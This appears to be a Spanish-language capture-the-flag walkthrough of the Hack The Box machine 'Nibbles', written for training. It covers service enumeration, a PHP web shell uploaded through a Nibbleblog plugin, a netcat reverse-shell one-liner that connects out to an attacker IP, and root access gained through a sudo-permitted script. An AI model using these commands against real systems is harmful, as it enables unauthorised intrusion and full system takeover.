Nibbles

✍️ Autor: Hack The Box🔍 Dificultad: Fácil 📅 Fecha de creación: 13/01/2018

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 10.129.12.162

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.12.162 

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80 -v 10.129.12.162

para que nos proporcione más información sobre esos puertos específicamente.

Seguimos indagando más sobre los puertos y ahora indagamos sobre el servicio HTTP. Se ingresó la dirección IP en el navegador lo que llevó a que la página web nos salga un mensaje.

Revisamos el código por si hay alguna información relevante.

Nos muestra un directorio por lo que indagaremos ahí.

Ahora buscaremos directorios con la herramienta Gobuster a través de:

gobuster dir -u http://10.129.12.162/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt

Hay dos archivos interesantes como admin.php y README.

curl http://10.129.12.162/nibbleblog/README

Hemos confirmado que la versión 4.0.3 está en uso, lo que sugiere que es probable que sea vulnerable al módulo de Metasploit (aunque podría tratarse de una página antigua del README). No observamos nada más relevante. Ahora, revisemos la página de inicio de sesión del portal de administración.

Para usar el exploit mencionado, necesitaremos credenciales de administrador válidas. Probamos técnicas de omisión de autenticación y combinaciones comunes como admin y admin, sin éxito. Hay una opción para restablecer la contraseña, pero da un error de correo. Además, demasiados intentos rápidos activan un bloqueo con el mensaje "Nibbleblog security error - Blacklist protection".

Volvamos a nuestros resultados de fuerza bruta en el directorio. Los códigos 200 muestran páginas accesibles, los 403 indican acceso prohibido y el 301 es una redirección permanente. Navegamos a nibbleblog/themes/ y vemos que el listado de directorios está habilitado.

Al navegar a nibbleblog/content, encontramos subdirectorios interesantes: public, private y tmp. Explorando un poco, encontramos un archivo users.xml que confirma que el nombre de usuario es admin. También muestra direcciones IP en la lista negra. Podemos solicitar este archivo con cURL y formatear la salida XML usando xmllint.

Confirmamos que admin es el usuario.

No hay otros puertos abiertos y no encontramos más directorios. Podemos confirmarlo realizando fuerza bruta adicional en directorios contra la raíz de la aplicación web.

gobuster dir -u http://10.129.12.162/ --wordlist /usr/share/dirb/wordlists/common.txt

Al revisar nuevamente todos los directorios expuestos, encontramos un archivo config.xml.

curl -s http://10.129.12.162/nibbleblog/content/private/config.xml | xmllint --format -

Al revisar el archivo, esperamos encontrar contraseñas, pero no obtenemos resultados. Sin embargo, vemos dos menciones de "nibbles" en el título del sitio y en la dirección de correo de notificación. Este también es el nombre de la máquina.

Al realizar cracking de contraseñas offline con una herramienta como Hashcat o al intentar adivinar una contraseña, es importante considerar toda la información disponible. No es raro descifrar una contraseña (como la de la red inalámbrica de una empresa) usando una lista de palabras generada al rastrear su sitio web con una herramienta como CeWL.

cewl http://10.129.12.162/nibbleblog -w wordlist.txt

🚀 EXPLOTACIÓN

Intentemos usar el plugin MyImage para cargar un fragmento de código PHP en lugar de una imagen. El siguiente fragmento se puede usar para probar la ejecución de código.

<?php system('id'); ?>

Ahora tenemos que averiguar dónde se subió el archivo si la carga fue exitosa. Volviendo a los resultados de fuerza bruta en los directorios, recordamos el directorio /content. Dentro de este, hay un directorio plugins y otro subdirectorio llamado my_image. La ruta completa es http://<host>/nibbleblog/content/private/plugins/my_image/. En este directorio, vemos dos archivos, db.xml e image.php, con una fecha de última modificación reciente, ¡lo que significa que nuestra carga fue exitosa! Ahora vamos a verificar si tenemos ejecución de comandos.

curl http://10.129.12.162/nibbleblog/content/private/plugins/my_image/image.php

Parece que hemos obtenido ejecución remota de código en el servidor web, y el servidor Apache se está ejecutando en el contexto del usuario nibbler. Vamos a modificar nuestro archivo PHP para obtener una shell inversa y comenzar a explorar el servidor.

Vamos a editar nuestro archivo PHP local y subirlo nuevamente. Este comando debería proporcionarnos una shell inversa. Como se mencionó anteriormente en el Módulo, existen muchas hojas de trucos para shells inversas. Algunas muy buenas son PayloadAllTheThings entre otras.

Utilicemos el siguiente one-liner de Bash para la shell inversa y añádelo a nuestro script PHP.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.47 443 >/tmp/f"); ?>
nc -lvnp 443

Pinchamos en el fichero image.php.

Tenemos Python3, lo cual nos permite obtener una shell más amigable escribiendo python3 -c 'import pty; pty.spawn("/bin/bash")'. Al navegar a /home/nibbler, encontramos la bandera user.txt así como un archivo zip llamado personal.zip.

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar.

Si accedemos a esa ruta, veremos que no existe. Por lo tanto, necesitaremos crear el directorio y el archivo:

cd /home/nibbler
mkdir -p personal/stuff
cd personal/stuff
echo "/bin/bash" > monitor.sh
chmod +x monitor.sh
sudo ./monitor.sh

Con estos pasos, obtendremos acceso root. Luego, al ir a /root/root.txt, podremos ver la bandera ROOT.

Last updated